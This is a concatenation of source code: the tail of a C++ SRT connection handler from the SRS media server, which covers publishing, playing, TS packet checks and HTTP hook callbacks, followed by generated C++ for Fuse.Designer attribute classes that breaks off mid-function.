= srs_success; if ((err = http_hooks_on_publish()) != srs_success) { return srs_error_wrap(err, "srt: callback on publish"); } if ((err = acquire_publish()) == srs_success) { err = do_publishing(); release_publish(); } http_hooks_on_unpublish(); return err; } srs_error_t SrsMpegtsSrtConn::playing() { srs_error_t err = srs_success; if ((err = http_hooks_on_play()) != srs_success) { return srs_error_wrap(err, "rtmp: callback on play"); } err = do_playing(); http_hooks_on_stop(); return err; } // TODO: FIXME: It's not atomic and has risk between multiple source checking. srs_error_t SrsMpegtsSrtConn::acquire_publish() { srs_error_t err = srs_success; // Check srt stream is busy. if (! srt_source_->can_publish()) { return srs_error_new(ERROR_SRT_SOURCE_BUSY, "srt stream %s busy", req_->get_stream_url().c_str()); } if (_srs_config->get_srt_to_rtmp(req_->vhost)) { // Check rtmp stream is busy. SrsLiveSource *live_source = _srs_sources->fetch(req_); if (live_source && !live_source->can_publish(false)) { return srs_error_new(ERROR_SYSTEM_STREAM_BUSY, "live_source stream %s busy", req_->get_stream_url().c_str()); } if ((err = _srs_sources->fetch_or_create(req_, _srs_hybrid->srs()->instance(), &live_source)) != srs_success) { return srs_error_wrap(err, "create source"); } SrsRtmpFromSrtBridge *bridger = new SrsRtmpFromSrtBridge(live_source); if ((err = bridger->initialize(req_)) != srs_success) { srs_freep(bridger); return srs_error_wrap(err, "create bridger"); } srt_source_->set_bridge(bridger); } if ((err = srt_source_->on_publish()) != srs_success) { return srs_error_wrap(err, "srt source publish"); } return err; } void SrsMpegtsSrtConn::release_publish() { srt_source_->on_unpublish(); } srs_error_t SrsMpegtsSrtConn::do_publishing() { srs_error_t err = srs_success; SrsPithyPrint* pprint = SrsPithyPrint::create_srt_publish(); SrsAutoFree(SrsPithyPrint, pprint); int nb_packets = 0; // Max udp packet size equal to 1500. char buf[1500]; while (true) { if ((err = trd_->pull()) != srs_success) { return srs_error_wrap(err, "srt: thread quit"); } pprint->elapse(); if (pprint->can_print()) { SrsSrtStat s; if ((err = s.fetch(srt_fd_, true)) != srs_success) { srs_freep(err); } else { srs_trace("<- " SRS_CONSTS_LOG_SRT_PUBLISH " Transport Stats # pktRecv=%" PRId64 ", pktRcvLoss=%d, pktRcvRetrans=%d, pktRcvDrop=%d", s.pktRecv(), s.pktRcvLoss(), s.pktRcvRetrans(), s.pktRcvDrop()); } kbps_->sample(); srs_trace("<- " SRS_CONSTS_LOG_SRT_PUBLISH " time=%d, packets=%d, okbps=%d,%d,%d, ikbps=%d,%d,%d", (int)pprint->age(), nb_packets, kbps_->get_send_kbps(), kbps_->get_send_kbps_30s(), kbps_->get_send_kbps_5m(), kbps_->get_recv_kbps(), kbps_->get_recv_kbps_30s(), kbps_->get_recv_kbps_5m()); nb_packets = 0; } ssize_t nb = 0; if ((err = srt_conn_->read(buf, sizeof(buf), &nb)) != srs_success) { return srs_error_wrap(err, "srt: recvmsg"); } ++nb_packets; if ((err = on_srt_packet(buf, nb)) != srs_success) { return srs_error_wrap(err, "srt: process packet"); } } return err; } srs_error_t SrsMpegtsSrtConn::do_playing() { srs_error_t err = srs_success; SrsSrtConsumer* consumer = NULL; SrsAutoFree(SrsSrtConsumer, consumer); if ((err = srt_source_->create_consumer(consumer)) != srs_success) { return srs_error_wrap(err, "create consumer, ts source=%s", req_->get_stream_url().c_str()); } srs_assert(consumer); // TODO: FIXME: Dumps the SPS/PPS from gop cache, without other frames. if ((err = srt_source_->consumer_dumps(consumer)) != srs_success) { return srs_error_wrap(err, "dumps consumer, url=%s", req_->get_stream_url().c_str()); } SrsPithyPrint* pprint = SrsPithyPrint::create_srt_play(); SrsAutoFree(SrsPithyPrint, pprint); SrsSrtRecvThread srt_recv_trd(srt_conn_); if ((err = srt_recv_trd.start()) != srs_success) { return srs_error_wrap(err, "start srt recv trd"); } int nb_packets = 0; while (true) { if ((err = trd_->pull()) != srs_success) { return srs_error_wrap(err, "srt play thread"); } if ((err = srt_recv_trd.get_recv_err()) != srs_success) { return srs_error_wrap(err, "srt play recv thread"); } // Wait for amount of packets. SrsSrtPacket* pkt = NULL; SrsAutoFree(SrsSrtPacket, pkt); consumer->dump_packet(&pkt); if (!pkt) { // TODO: FIXME: We should check the quit event. consumer->wait(1, 1000 * SRS_UTIME_MILLISECONDS); continue; } ++nb_packets; // reportable pprint->elapse(); if (pprint->can_print()) { SrsSrtStat s; if ((err = s.fetch(srt_fd_, true)) != srs_success) { srs_freep(err); } else { srs_trace("-> " SRS_CONSTS_LOG_SRT_PLAY " Transport Stats # pktSent=%" PRId64 ", pktSndLoss=%d, pktRetrans=%d, pktSndDrop=%d", s.pktSent(), s.pktSndLoss(), s.pktRetrans(), s.pktSndDrop()); } kbps_->sample(); srs_trace("-> " SRS_CONSTS_LOG_SRT_PLAY " time=%d, packets=%d, okbps=%d,%d,%d, ikbps=%d,%d,%d", (int)pprint->age(), nb_packets, kbps_->get_send_kbps(), kbps_->get_send_kbps_30s(), kbps_->get_send_kbps_5m(), kbps_->get_recv_kbps(), kbps_->get_recv_kbps_30s(), kbps_->get_recv_kbps_5m()); nb_packets = 0; } ssize_t nb_write = 0; if ((err = srt_conn_->write(pkt->data(), pkt->size(), &nb_write)) != srs_success) { return srs_error_wrap(err, "srt send, size=%d", pkt->size()); } // Yield to another coroutines. // @see https://github.com/ossrs/srs/issues/2194#issuecomment-777542162 // TODO: FIXME: Please check whether SRT sendmsg causing clock deviation, see srs_thread_yield of SrsUdpMuxSocket::sendto } return err; } srs_error_t SrsMpegtsSrtConn::on_srt_packet(char* buf, int nb_buf) { srs_error_t err = srs_success; // Ignore if invalid length. if (nb_buf <= 0) { return err; } // Check srt payload, mpegts must be N times of SRS_TS_PACKET_SIZE if ((nb_buf % SRS_TS_PACKET_SIZE) != 0) { return srs_error_new(ERROR_SRT_CONN, "invalid ts packet len=%d", nb_buf); } // Check srt payload, the first byte must be 0x47 if (buf[0] != 0x47) { return srs_error_new(ERROR_SRT_CONN, "invalid ts packet first=%#x", (uint8_t)buf[0]); } SrsSrtPacket* packet = new SrsSrtPacket(); SrsAutoFree(SrsSrtPacket, packet); packet->wrap(buf, nb_buf); if ((err = srt_source_->on_packet(packet)) != srs_success) { return srs_error_wrap(err, "on srt packet"); } return err; } srs_error_t SrsMpegtsSrtConn::http_hooks_on_connect() { srs_error_t err = srs_success; if (!_srs_config->get_vhost_http_hooks_enabled(req_->vhost)) { return err; } // the http hooks will cause context switch, // so we must copy all hooks for the on_connect may freed. // @see https://github.com/ossrs/srs/issues/475 vector<string> hooks; if (true) { SrsConfDirective* conf = _srs_config->get_vhost_on_connect(req_->vhost); if (!conf) { return err; } hooks = conf->args; } for (int i = 0; i < (int)hooks.size(); i++) { std::string url = hooks.at(i); if ((err = SrsHttpHooks::on_connect(url, req_)) != srs_success) { return srs_error_wrap(err, "srt on_connect %s", url.c_str()); } } return err; } void SrsMpegtsSrtConn::http_hooks_on_close() { if (!_srs_config->get_vhost_http_hooks_enabled(req_->vhost)) { return; } // the http hooks will cause context switch, // so we must copy all hooks for the on_connect may freed. // @see https://github.com/ossrs/srs/issues/475 vector<string> hooks; if (true) { SrsConfDirective* conf = _srs_config->get_vhost_on_close(req_->vhost); if (!conf) { return; } hooks = conf->args; } for (int i = 0; i < (int)hooks.size(); i++) { std::string url = hooks.at(i); SrsHttpHooks::on_close(url, req_, kbps_->get_send_bytes(), kbps_->get_recv_bytes()); } } srs_error_t SrsMpegtsSrtConn::http_hooks_on_publish() { srs_error_t err = srs_success; if (!_srs_config->get_vhost_http_hooks_enabled(req_->vhost)) { return err; } // the http hooks will cause context switch, // so we must copy all hooks for the on_connect may freed. // @see https://github.com/ossrs/srs/issues/475 vector<string> hooks; if (true) { SrsConfDirective* conf = _srs_config->get_vhost_on_publish(req_->vhost); if (!conf) { return err; } hooks = conf->args; } for (int i = 0; i < (int)hooks.size(); i++) { std::string url = hooks.at(i); if ((err = SrsHttpHooks::on_publish(url, req_)) != srs_success) { return srs_error_wrap(err, "srt on_publish %s", url.c_str()); } } return err; } void SrsMpegtsSrtConn::http_hooks_on_unpublish() { if (!_srs_config->get_vhost_http_hooks_enabled(req_->vhost)) { return; } // the http hooks will cause context switch, // so we must copy all hooks for the on_connect may freed. // @see https://github.com/ossrs/srs/issues/475 vector<string> hooks; if (true) { SrsConfDirective* conf = _srs_config->get_vhost_on_unpublish(req_->vhost); if (!conf) { return; } hooks = conf->args; } for (int i = 0; i < (int)hooks.size(); i++) { std::string url = hooks.at(i); SrsHttpHooks::on_unpublish(url, req_); } } srs_error_t SrsMpegtsSrtConn::http_hooks_on_play() { srs_error_t err = srs_success; if (!_srs_config->get_vhost_http_hooks_enabled(req_->vhost)) { return err; } // the http hooks will cause context switch, // so we must copy all hooks for the on_connect may freed. // @see https://github.com/ossrs/srs/issues/475 vector<string> hooks; if (true) { SrsConfDirective* conf = _srs_config->get_vhost_on_play(req_->vhost); if (!conf) { return err; } hooks = conf->args; } for (int i = 0; i < (int)hooks.size(); i++) { std::string url = hooks.at(i); if ((err = SrsHttpHooks::on_play(url, req_)) != srs_success) { return srs_error_wrap(err, "srt on_play %s", url.c_str()); } } return err; } void SrsMpegtsSrtConn::http_hooks_on_stop() { if (!_srs_config->get_vhost_http_hooks_enabled(req_->vhost)) { return; } // the http hooks will cause context switch, // so we must copy all hooks for the on_connect may freed. // @see https://github.com/ossrs/srs/issues/475 vector<string> hooks; if (true) { SrsConfDirective* conf = _srs_config->get_vhost_on_stop(req_->vhost); if (!conf) { return; } hooks = conf->args; } for (int i = 0; i < (int)hooks.size(); i++) { std::string url = hooks.at(i); SrsHttpHooks::on_stop(url, req_); } return; }
26.836676
148
0.617446
[ "object", "vector" ]
6cabc7fb45aef53ad68c9225aec3be7494966b9d
53,088
cpp
C++
Aplicacion Movil/generated/bundles/login-transition/build/Android/Preview/app/src/main/jni/Fuse.Designer.g.cpp
marferfer/SpinOff-LoL
a9dba8ac9dd476ec1ef94712d9a8e76d3b45aca8
[ "Apache-2.0" ]
null
null
null
Aplicacion Movil/generated/bundles/login-transition/build/Android/Preview/app/src/main/jni/Fuse.Designer.g.cpp
marferfer/SpinOff-LoL
a9dba8ac9dd476ec1ef94712d9a8e76d3b45aca8
[ "Apache-2.0" ]
null
null
null
Aplicacion Movil/generated/bundles/login-transition/build/Android/Preview/app/src/main/jni/Fuse.Designer.g.cpp
marferfer/SpinOff-LoL
a9dba8ac9dd476ec1ef94712d9a8e76d3b45aca8
[ "Apache-2.0" ]
null
null
null
// This file was generated based on '(multiple files)'. // WARNING: Changes might be lost if you edit this file directly. #include <Fuse.Designer.Advance-634be00a.h> #include <Fuse.Designer.ChildEx-3abc5917.h> #include <Fuse.Designer.ColorAttribute.h> #include <Fuse.Designer.Compone-f85c8002.h> #include <Fuse.Designer.Default-4ce45c5c.h> #include <Fuse.Designer.Default-9dfa586.h> #include <Fuse.Designer.Designe-64fd0c66.h> #include <Fuse.Designer.DragDro-ac35b107.h> #include <Fuse.Designer.Extensi-cad0ec95.h> #include <Fuse.Designer.GroupAttribute.h> #include <Fuse.Designer.HideAttribute.h> #include <Fuse.Designer.HidesAttribute.h> #include <Fuse.Designer.IconAttribute.h> #include <Fuse.Designer.InlineAttribute.h> #include <Fuse.Designer.Interva-7718ab37.h> #include <Fuse.Designer.Optiona-9c5a3028.h> #include <Fuse.Designer.Priorit-2702f9bc.h> #include <Fuse.Designer.RangeAttribute.h> #include <Fuse.Designer.Recursi-c8fd5285.h> #include <Fuse.Designer.Require-2087cd68.h> #include <Fuse.Designer.Spawnab-deffeced.h> #include <Fuse.Designer.SpawnsAttribute.h> #include <Fuse.Designer.Thickne-60c8dec2.h> #include <Fuse.Designer.Transit-e6aaf21b.h> #include <Fuse.Designer.UnoHostInterface.h> #include <Uno.Action.h> #include <Uno.Action1-1.h> #include <Uno.Action2-2.h> #include <Uno.Bool.h> #include <Uno.Delegate.h> #include <Uno.Exception.h> #include <Uno.Float.h> #include <Uno.Float4x4.h> #include <Uno.Func2-3.h> #include <Uno.IDisposable.h> #include <Uno.Int.h> #include <Uno.Object.h> #include <Uno.Rect.h> #include <Uno.String.h> static uString* STRINGS[4]; namespace g{ namespace Fuse{ namespace Designer{ // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class AdvancedAttribute :57 // { static void AdvancedAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)AdvancedAttribute__New1_fn, 0, true, type, 0)); } uType* AdvancedAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(AdvancedAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.AdvancedAttribute", options); type->fp_build_ = AdvancedAttribute_build; type->fp_ctor_ = (void*)AdvancedAttribute__New1_fn; return type; } // public generated AdvancedAttribute() :57 void AdvancedAttribute__ctor_1_fn(AdvancedAttribute* __this) { __this->ctor_1(); } // public generated AdvancedAttribute New() :57 void AdvancedAttribute__New1_fn(AdvancedAttribute** __retval) { *__retval = AdvancedAttribute::New1(); } // public generated AdvancedAttribute() [instance] :57 void AdvancedAttribute::ctor_1() { ctor_(); } // public generated AdvancedAttribute New() [static] :57 AdvancedAttribute* AdvancedAttribute::New1() { AdvancedAttribute* obj1 = (AdvancedAttribute*)uNew(AdvancedAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class ChildExtensionAttribute :12 // { static void ChildExtensionAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)ChildExtensionAttribute__New1_fn, 0, true, type, 0)); } uType* ChildExtensionAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(ChildExtensionAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.ChildExtensionAttribute", options); type->fp_build_ = ChildExtensionAttribute_build; type->fp_ctor_ = (void*)ChildExtensionAttribute__New1_fn; return type; } // public generated ChildExtensionAttribute() :12 void ChildExtensionAttribute__ctor_1_fn(ChildExtensionAttribute* __this) { __this->ctor_1(); } // public generated ChildExtensionAttribute New() :12 void ChildExtensionAttribute__New1_fn(ChildExtensionAttribute** __retval) { *__retval = ChildExtensionAttribute::New1(); } // public generated ChildExtensionAttribute() [instance] :12 void ChildExtensionAttribute::ctor_1() { ctor_(); } // public generated ChildExtensionAttribute New() [static] :12 ChildExtensionAttribute* ChildExtensionAttribute::New1() { ChildExtensionAttribute* obj1 = (ChildExtensionAttribute*)uNew(ChildExtensionAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class ColorAttribute :111 // { static void ColorAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)ColorAttribute__New1_fn, 0, true, type, 0)); } uType* ColorAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(ColorAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.ColorAttribute", options); type->fp_build_ = ColorAttribute_build; type->fp_ctor_ = (void*)ColorAttribute__New1_fn; return type; } // public generated ColorAttribute() :111 void ColorAttribute__ctor_1_fn(ColorAttribute* __this) { __this->ctor_1(); } // public generated ColorAttribute New() :111 void ColorAttribute__New1_fn(ColorAttribute** __retval) { *__retval = ColorAttribute::New1(); } // public generated ColorAttribute() [instance] :111 void ColorAttribute::ctor_1() { ctor_(); } // public generated ColorAttribute New() [static] :111 ColorAttribute* ColorAttribute::New1() { ColorAttribute* obj1 = (ColorAttribute*)uNew(ColorAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class ComponentOfAttribute :93 // { static void ComponentOfAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(ComponentOfAttribute, EntityClass), 0); type->Reflection.SetFields(1, new uField("EntityClass", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)ComponentOfAttribute__New1_fn, 0, true, type, 1, ::g::Uno::String_typeof())); } uType* ComponentOfAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(ComponentOfAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.ComponentOfAttribute", options); type->fp_build_ = ComponentOfAttribute_build; return type; } // public ComponentOfAttribute(string entityClass) :96 void ComponentOfAttribute__ctor_1_fn(ComponentOfAttribute* __this, uString* entityClass) { __this->ctor_1(entityClass); } // public ComponentOfAttribute New(string entityClass) :96 void ComponentOfAttribute__New1_fn(uString* entityClass, ComponentOfAttribute** __retval) { *__retval = ComponentOfAttribute::New1(entityClass); } // public ComponentOfAttribute(string entityClass) [instance] :96 void ComponentOfAttribute::ctor_1(uString* entityClass) { ctor_(); EntityClass = entityClass; } // public ComponentOfAttribute New(string entityClass) [static] :96 ComponentOfAttribute* ComponentOfAttribute::New1(uString* entityClass) { ComponentOfAttribute* obj1 = (ComponentOfAttribute*)uNew(ComponentOfAttribute_typeof()); obj1->ctor_1(entityClass); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class DefaultComponentAttribute :99 // { static void DefaultComponentAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(DefaultComponentAttribute, ComponentClass), 0); type->Reflection.SetFields(1, new uField("ComponentClass", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)DefaultComponentAttribute__New1_fn, 0, true, type, 1, ::g::Uno::String_typeof())); } uType* DefaultComponentAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(DefaultComponentAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.DefaultComponentAttribute", options); type->fp_build_ = DefaultComponentAttribute_build; return type; } // public DefaultComponentAttribute(string componentClass) :102 void DefaultComponentAttribute__ctor_1_fn(DefaultComponentAttribute* __this, uString* componentClass) { __this->ctor_1(componentClass); } // public DefaultComponentAttribute New(string componentClass) :102 void DefaultComponentAttribute__New1_fn(uString* componentClass, DefaultComponentAttribute** __retval) { *__retval = DefaultComponentAttribute::New1(componentClass); } // public DefaultComponentAttribute(string componentClass) [instance] :102 void DefaultComponentAttribute::ctor_1(uString* componentClass) { ctor_(); ComponentClass = componentClass; } // public DefaultComponentAttribute New(string componentClass) [static] :102 DefaultComponentAttribute* DefaultComponentAttribute::New1(uString* componentClass) { DefaultComponentAttribute* obj1 = (DefaultComponentAttribute*)uNew(DefaultComponentAttribute_typeof()); obj1->ctor_1(componentClass); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class DefaultInstanceAttribute :14 // { static void DefaultInstanceAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(DefaultInstanceAttribute, TargetProperty), 0, ::g::Uno::String_typeof(), offsetof(DefaultInstanceAttribute, Type), 0); type->Reflection.SetFields(2, new uField("TargetProperty", 0), new uField("Type", 1)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)DefaultInstanceAttribute__New1_fn, 0, true, type, 2, ::g::Uno::String_typeof(), ::g::Uno::String_typeof())); } uType* DefaultInstanceAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 2; options.ObjectSize = sizeof(DefaultInstanceAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.DefaultInstanceAttribute", options); type->fp_build_ = DefaultInstanceAttribute_build; return type; } // public DefaultInstanceAttribute(string targetProperty, string type) :18 void DefaultInstanceAttribute__ctor_1_fn(DefaultInstanceAttribute* __this, uString* targetProperty, uString* type) { __this->ctor_1(targetProperty, type); } // public DefaultInstanceAttribute New(string targetProperty, string type) :18 void DefaultInstanceAttribute__New1_fn(uString* targetProperty, uString* type, DefaultInstanceAttribute** __retval) { *__retval = DefaultInstanceAttribute::New1(targetProperty, type); } // public DefaultInstanceAttribute(string targetProperty, string type) [instance] :18 void DefaultInstanceAttribute::ctor_1(uString* targetProperty, uString* type) { ctor_(); TargetProperty = targetProperty; Type = type; } // public DefaultInstanceAttribute New(string targetProperty, string type) [static] :18 DefaultInstanceAttribute* DefaultInstanceAttribute::New1(uString* targetProperty, uString* type) { DefaultInstanceAttribute* obj1 = (DefaultInstanceAttribute*)uNew(DefaultInstanceAttribute_typeof()); obj1->ctor_1(targetProperty, type); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class DesignerNameAttribute :87 // { static void DesignerNameAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(DesignerNameAttribute, Name), 0); type->Reflection.SetFields(1, new uField("Name", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)DesignerNameAttribute__New1_fn, 0, true, type, 1, ::g::Uno::String_typeof())); } uType* DesignerNameAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(DesignerNameAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.DesignerNameAttribute", options); type->fp_build_ = DesignerNameAttribute_build; return type; } // public DesignerNameAttribute(string name) :90 void DesignerNameAttribute__ctor_1_fn(DesignerNameAttribute* __this, uString* name) { __this->ctor_1(name); } // public DesignerNameAttribute New(string name) :90 void DesignerNameAttribute__New1_fn(uString* name, DesignerNameAttribute** __retval) { *__retval = DesignerNameAttribute::New1(name); } // public DesignerNameAttribute(string name) [instance] :90 void DesignerNameAttribute::ctor_1(uString* name) { ctor_(); Name = name; } // public DesignerNameAttribute New(string name) [static] :90 DesignerNameAttribute* DesignerNameAttribute::New1(uString* name) { DesignerNameAttribute* obj1 = (DesignerNameAttribute*)uNew(DesignerNameAttribute_typeof()); obj1->ctor_1(name); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class DragDropPriorityAttribute :85 // { static void DragDropPriorityAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)DragDropPriorityAttribute__New1_fn, 0, true, type, 0)); } uType* DragDropPriorityAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(DragDropPriorityAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.DragDropPriorityAttribute", options); type->fp_build_ = DragDropPriorityAttribute_build; type->fp_ctor_ = (void*)DragDropPriorityAttribute__New1_fn; return type; } // public generated DragDropPriorityAttribute() :85 void DragDropPriorityAttribute__ctor_1_fn(DragDropPriorityAttribute* __this) { __this->ctor_1(); } // public generated DragDropPriorityAttribute New() :85 void DragDropPriorityAttribute__New1_fn(DragDropPriorityAttribute** __retval) { *__retval = DragDropPriorityAttribute::New1(); } // public generated DragDropPriorityAttribute() [instance] :85 void DragDropPriorityAttribute::ctor_1() { ctor_(); } // public generated DragDropPriorityAttribute New() [static] :85 DragDropPriorityAttribute* DragDropPriorityAttribute::New1() { DragDropPriorityAttribute* obj1 = (DragDropPriorityAttribute*)uNew(DragDropPriorityAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class ExtensionAttribute :11 // { static void ExtensionAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)ExtensionAttribute__New1_fn, 0, true, type, 0)); } uType* ExtensionAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(ExtensionAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.ExtensionAttribute", options); type->fp_build_ = ExtensionAttribute_build; type->fp_ctor_ = (void*)ExtensionAttribute__New1_fn; return type; } // public generated ExtensionAttribute() :11 void ExtensionAttribute__ctor_1_fn(ExtensionAttribute* __this) { __this->ctor_1(); } // public generated ExtensionAttribute New() :11 void ExtensionAttribute__New1_fn(ExtensionAttribute** __retval) { *__retval = ExtensionAttribute::New1(); } // public generated ExtensionAttribute() [instance] :11 void ExtensionAttribute::ctor_1() { ctor_(); } // public generated ExtensionAttribute New() [static] :11 ExtensionAttribute* ExtensionAttribute::New1() { ExtensionAttribute* obj1 = (ExtensionAttribute*)uNew(ExtensionAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class GroupAttribute :44 // { static void GroupAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(GroupAttribute, Name), 0, ::g::Uno::Int_typeof(), offsetof(GroupAttribute, Priority), 0); type->Reflection.SetFields(2, new uField("Name", 0), new uField("Priority", 1)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)GroupAttribute__New1_fn, 0, true, type, 2, ::g::Uno::String_typeof(), ::g::Uno::Int_typeof())); } uType* GroupAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 2; options.ObjectSize = sizeof(GroupAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.GroupAttribute", options); type->fp_build_ = GroupAttribute_build; return type; } // public GroupAttribute(string name, [int priority]) :48 void GroupAttribute__ctor_1_fn(GroupAttribute* __this, uString* name, int32_t* priority) { __this->ctor_1(name, *priority); } // public GroupAttribute New(string name, [int priority]) :48 void GroupAttribute__New1_fn(uString* name, int32_t* priority, GroupAttribute** __retval) { *__retval = GroupAttribute::New1(name, *priority); } // public GroupAttribute(string name, [int priority]) [instance] :48 void GroupAttribute::ctor_1(uString* name, int32_t priority) { ctor_(); Name = name; Priority = priority; } // public GroupAttribute New(string name, [int priority]) [static] :48 GroupAttribute* GroupAttribute::New1(uString* name, int32_t priority) { GroupAttribute* obj1 = (GroupAttribute*)uNew(GroupAttribute_typeof()); obj1->ctor_1(name, priority); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class HideAttribute :6 // { static void HideAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)HideAttribute__New1_fn, 0, true, type, 0)); } uType* HideAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(HideAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.HideAttribute", options); type->fp_build_ = HideAttribute_build; type->fp_ctor_ = (void*)HideAttribute__New1_fn; return type; } // public generated HideAttribute() :6 void HideAttribute__ctor_1_fn(HideAttribute* __this) { __this->ctor_1(); } // public generated HideAttribute New() :6 void HideAttribute__New1_fn(HideAttribute** __retval) { *__retval = HideAttribute::New1(); } // public generated HideAttribute() [instance] :6 void HideAttribute::ctor_1() { ctor_(); } // public generated HideAttribute New() [static] :6 HideAttribute* HideAttribute::New1() { HideAttribute* obj1 = (HideAttribute*)uNew(HideAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class HidesAttribute :51 // { static void HidesAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(HidesAttribute, TargetProperty), 0); type->Reflection.SetFields(1, new uField("TargetProperty", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)HidesAttribute__New1_fn, 0, true, type, 1, ::g::Uno::String_typeof())); } uType* HidesAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(HidesAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.HidesAttribute", options); type->fp_build_ = HidesAttribute_build; return type; } // public HidesAttribute(string targetProperty) :54 void HidesAttribute__ctor_1_fn(HidesAttribute* __this, uString* targetProperty) { __this->ctor_1(targetProperty); } // public HidesAttribute New(string targetProperty) :54 void HidesAttribute__New1_fn(uString* targetProperty, 